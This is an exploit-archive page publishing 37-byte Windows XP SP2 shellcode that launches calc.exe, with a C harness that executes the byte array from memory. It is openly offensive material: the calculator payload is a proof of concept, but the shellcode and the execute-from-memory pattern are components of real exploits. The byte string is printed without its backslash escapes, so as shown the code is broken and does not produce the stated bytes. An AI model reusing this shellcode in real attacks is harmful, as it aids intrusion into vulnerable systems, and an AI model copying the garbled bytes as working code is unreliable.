[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Windows Xp Home Edition SP2 English ( calc.exe ) 37 bytes
# Published : 2010-02-28
# Author : Hazem mofeed
# Previous Title : Linux x86 - execve /bin/sh - 21 bytes
# Next Title : Win32 Shellcode (cmd.exe) for XP SP3 English 26 Bytes


/*
 * Windows Xp Home edition SP2 english ( calc.exe ) 37 bytes shellcode
 * by: Hazem mofeed Aka Hakxer
 * penetration testing labs
 *   www.pentestlabs.com
 */

char evil[] =
"xebx16x5bx31xc0x50x53xbbx8dx15x86x7cxffxd3x31xc0"
"x50xbbxeaxcdx81x7cxffxd3xe8xe5xffxffxffx63x61x6c"
"x63x2ex65x78x65x00";

int main(int argc, char **argv)
{
int (*shellcode)();
shellcode = (int (*)()) evil;
(int)(*shellcode)();
}